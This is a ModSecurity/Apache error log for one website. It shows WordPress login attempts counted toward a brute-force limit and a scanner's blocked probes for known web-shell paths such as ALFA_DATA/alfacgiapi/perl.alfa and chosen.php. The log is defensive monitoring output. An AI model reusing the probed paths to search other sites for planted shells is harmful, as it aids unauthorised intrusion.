[Mon May 18 23:28:50.371593 2026] [:error] [pid 43916:tid 43925] [client 209.42.28.66:46708] [client 209.42.28.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.42.28.66, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agswMtQC236p33zJJvnWJAAAAIE"]
[Mon May 18 23:55:44.445780 2026] [:error] [pid 44046:tid 44048] [client 121.200.217.28:54242] [client 121.200.217.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 121.200.217.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ags2gIYF4k2jfXJBXk0ICAAAAYA"]
[Mon May 18 23:55:45.654210 2026] [:error] [pid 44046:tid 44058] [client 121.200.217.28:54242] [client 121.200.217.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 121.200.217.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ags2gYYF4k2jfXJBXk0ICQAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 00:16:32.264203 2026] [:error] [pid 44010:tid 44021] [client 103.119.139.118:40598] [client 103.119.139.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.119.139.118, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ags7YDcFUuogD3-74-aHAwAAAMk"]
[Tue May 19 00:16:33.346144 2026] [:error] [pid 44010:tid 44025] [client 103.119.139.118:40598] [client 103.119.139.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.119.139.118, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ags7YTcFUuogD3-74-aHBAAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 00:37:17.624885 2026] [:error] [pid 36492:tid 36546] [client 20.151.117.104:62585] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/chosen.php"] [unique_id "agtAPWCVlogrkn9m2w4agAAAABg"]
[Tue May 19 00:37:18.106512 2026] [:error] [pid 36579:tid 36601] [client 20.151.117.104:62483] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/chosen.php"] [unique_id "agtAPl-aoZxBfgL5vDyrtgAAAFM"]
[Tue May 19 00:37:18.767665 2026] [:error] [pid 44087:tid 44113] [client 20.151.117.104:64338] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/chosen.php"] [unique_id "agtAPm5HPHbH9GK7l6wIvQAAAdc"]
[Tue May 19 00:37:19.277979 2026] [:error] [pid 44087:tid 44099] [client 20.151.117.104:64994] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/chosen.php"] [unique_id "agtAP25HPHbH9GK7l6wIvwAAAco"]
[Tue May 19 00:37:19.744686 2026] [:error] [pid 44087:tid 44107] [client 20.151.117.104:62532] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as/chosen.php"] [unique_id "agtAP25HPHbH9GK7l6wIwQAAAdI"]
[Tue May 19 00:37:20.183506 2026] [:error] [pid 44087:tid 44097] [client 20.151.117.104:63721] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as/chosen.php"] [unique_id "agtAQG5HPHbH9GK7l6wIwgAAAcg"]
[Tue May 19 00:37:20.705693 2026] [:error] [pid 36579:tid 36591] [client 20.151.117.104:62553] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as/chosen.php"] [unique_id "agtAQF-aoZxBfgL5vDyrugAAAEk"]
[Tue May 19 00:37:21.174174 2026] [:error] [pid 36492:tid 36528] [client 20.151.117.104:62996] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as/chosen.php"] [unique_id "agtAQWCVlogrkn9m2w4agwAAAAY"]
[Tue May 19 00:37:21.609984 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:64278] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agtAQU555B9CZb6D60nwAAAAAUU"]
[Tue May 19 00:37:22.158827 2026] [:error] [pid 36492:tid 36533] [client 20.151.117.104:64990] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agtAQmCVlogrkn9m2w4ahQAAAAs"]
[Tue May 19 00:37:22.682117 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:63677] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agtAQmCVlogrkn9m2w4ahwAAAAQ"]
[Tue May 19 00:37:23.382293 2026] [:error] [pid 44046:tid 44049] [client 20.151.117.104:62543] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "agtAQ4YF4k2jfXJBXk0LlwAAAYE"]
[Tue May 19 00:37:24.030417 2026] [:error] [pid 36579:tid 36593] [client 20.151.117.104:64370] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file/chosen.php"] [unique_id "agtARF-aoZxBfgL5vDyrxQAAAEs"]
[Tue May 19 00:37:24.449103 2026] [:error] [pid 43916:tid 43935] [client 20.151.117.104:63687] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file/chosen.php"] [unique_id "agtARNQC236p33zJJvnaMQAAAIs"]
[Tue May 19 00:37:25.127589 2026] [:error] [pid 36579:tid 36603] [client 20.151.117.104:62511] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file/chosen.php"] [unique_id "agtARV-aoZxBfgL5vDyrxwAAAFU"]
[Tue May 19 00:37:25.581406 2026] [:error] [pid 44010:tid 44015] [client 20.151.117.104:62535] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file/chosen.php"] [unique_id "agtARTcFUuogD3-74-aIlgAAAMM"]
[Tue May 19 00:37:26.002354 2026] [:error] [pid 44010:tid 44018] [client 20.151.117.104:64367] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/chosen.php"] [unique_id "agtARjcFUuogD3-74-aIlwAAAMY"]
[Tue May 19 00:37:26.560247 2026] [:error] [pid 36579:tid 36602] [client 20.151.117.104:64924] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/chosen.php"] [unique_id "agtARl-aoZxBfgL5vDyryAAAAFQ"]
[Tue May 19 00:37:27.094146 2026] [:error] [pid 43916:tid 43934] [client 20.151.117.104:61761] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/chosen.php"] [unique_id "agtAR9QC236p33zJJvnaMgAAAIo"]
[Tue May 19 00:37:27.778471 2026] [:error] [pid 44046:tid 44053] [client 20.151.117.104:64329] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/chosen.php"] [unique_id "agtAR4YF4k2jfXJBXk0LmwAAAYU"]
[Tue May 19 00:37:28.288511 2026] [:error] [pid 43916:tid 43930] [client 20.151.117.104:63644] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/chosen.php"] [unique_id "agtASNQC236p33zJJvnaMwAAAIY"]
[Tue May 19 00:37:28.825231 2026] [:error] [pid 36579:tid 36589] [client 20.151.117.104:63088] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/chosen.php"] [unique_id "agtASF-aoZxBfgL5vDyrywAAAEc"]
[Tue May 19 00:37:30.708347 2026] [:error] [pid 43916:tid 43941] [client 20.151.117.104:63633] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/chosen.php"] [unique_id "agtAStQC236p33zJJvnaNQAAAJE"]
[Tue May 19 00:37:31.537612 2026] [:error] [pid 36493:tid 36565] [client 20.151.117.104:64271] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/chosen.php"] [unique_id "agtASwynkzQB5nM668rdCgAAARA"]
[Tue May 19 00:37:31.987572 2026] [:error] [pid 36493:tid 36571] [client 20.151.117.104:62497] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agtASwynkzQB5nM668rdCwAAARY"]
[Tue May 19 00:37:32.727465 2026] [:error] [pid 36579:tid 36605] [client 20.151.117.104:64964] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agtATF-aoZxBfgL5vDyr1AAAAFc"]
[Tue May 19 00:37:33.539768 2026] [:error] [pid 44046:tid 44072] [client 20.151.117.104:61794] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agtATYYF4k2jfXJBXk0LpQAAAZg"]
[Tue May 19 00:37:34.095783 2026] [:error] [pid 36491:tid 36498] [client 20.151.117.104:64287] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agtATk555B9CZb6D60nwAwAAAUM"]
[Tue May 19 00:37:34.986431 2026] [:error] [pid 36491:tid 36496] [client 20.151.117.104:65016] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "agtATk555B9CZb6D60nwBQAAAUE"]
[Tue May 19 00:37:35.513538 2026] [:error] [pid 36491:tid 36502] [client 20.151.117.104:63675] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "agtAT0555B9CZb6D60nwBgAAAUc"]
[Tue May 19 00:37:35.987614 2026] [:error] [pid 36492:tid 36528] [client 20.151.117.104:64342] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "agtAT2CVlogrkn9m2w4akwAAAAY"]
[Tue May 19 00:37:36.458514 2026] [:error] [pid 36491:tid 36505] [client 20.151.117.104:64282] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "agtAUE555B9CZb6D60nwBwAAAUo"]
[Tue May 19 00:37:37.087772 2026] [:error] [pid 44087:tid 44098] [client 20.151.117.104:63622] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agtAUW5HPHbH9GK7l6wI3wAAAck"]
[Tue May 19 00:37:37.546691 2026] [:error] [pid 36579:tid 36585] [client 20.151.117.104:63692] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agtAUV-aoZxBfgL5vDyr3QAAAEM"]
[Tue May 19 00:37:37.997930 2026] [:error] [pid 36579:tid 36594] [client 20.151.117.104:64315] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agtAUV-aoZxBfgL5vDyr3gAAAEw"]
[Tue May 19 00:37:38.439038 2026] [:error] [pid 44046:tid 44053] [client 20.151.117.104:63652] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agtAUoYF4k2jfXJBXk0LrQAAAYU"]
[Tue May 19 00:37:38.969892 2026] [:error] [pid 43916:tid 43932] [client 20.151.117.104:63680] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agtAUtQC236p33zJJvnaNwAAAIg"]
[Tue May 19 00:37:39.537931 2026] [:error] [pid 36492:tid 36540] [client 20.151.117.104:62588] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agtAU2CVlogrkn9m2w4amQAAABI"]
[Tue May 19 00:37:39.996644 2026] [:error] [pid 43916:tid 43933] [client 20.151.117.104:64947] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agtAU9QC236p33zJJvnaOAAAAIk"]
[Tue May 19 00:37:40.481086 2026] [:error] [pid 36492:tid 36537] [client 20.151.117.104:63715] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agtAVGCVlogrkn9m2w4aoAAAAA8"]
[Tue May 19 00:37:41.094710 2026] [:error] [pid 36579:tid 36598] [client 20.151.117.104:64915] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agtAVV-aoZxBfgL5vDyr4QAAAFA"]
[Tue May 19 00:37:41.746523 2026] [:error] [pid 44010:tid 44034] [client 20.151.117.104:64932] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agtAVTcFUuogD3-74-aImgAAANY"]
[Tue May 19 00:37:42.684762 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:64354] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agtAVk555B9CZb6D60nwDQAAAUY"]
[Tue May 19 00:37:43.478467 2026] [:error] [pid 36579:tid 36602] [client 20.151.117.104:64304] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "agtAV1-aoZxBfgL5vDyr5AAAAFQ"]
[Tue May 19 00:37:44.493267 2026] [:error] [pid 43916:tid 43942] [client 20.151.117.104:63025] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "agtAWNQC236p33zJJvnaOgAAAJI"]
[Tue May 19 00:37:45.048868 2026] [:error] [pid 36579:tid 36600] [client 20.151.117.104:63042] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "agtAWV-aoZxBfgL5vDyr5gAAAFI"]
[Tue May 19 00:37:45.516128 2026] [:error] [pid 44010:tid 44013] [client 20.151.117.104:64983] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "agtAWTcFUuogD3-74-aInAAAAME"]
[Tue May 19 00:37:46.355565 2026] [:error] [pid 36491:tid 36516] [client 20.151.117.104:63081] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "agtAWk555B9CZb6D60nwEAAAAVU"]
[Tue May 19 00:37:47.274532 2026] [:error] [pid 36492:tid 36545] [client 20.151.117.104:62557] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agtAW2CVlogrkn9m2w4aoQAAABc"]
[Tue May 19 00:37:47.808490 2026] [:error] [pid 36493:tid 36563] [client 20.151.117.104:63620] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agtAWwynkzQB5nM668rdDwAAAQ4"]
[Tue May 19 00:37:48.300466 2026] [:error] [pid 36492:tid 36539] [client 20.151.117.104:63725] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agtAXGCVlogrkn9m2w4apAAAABE"]
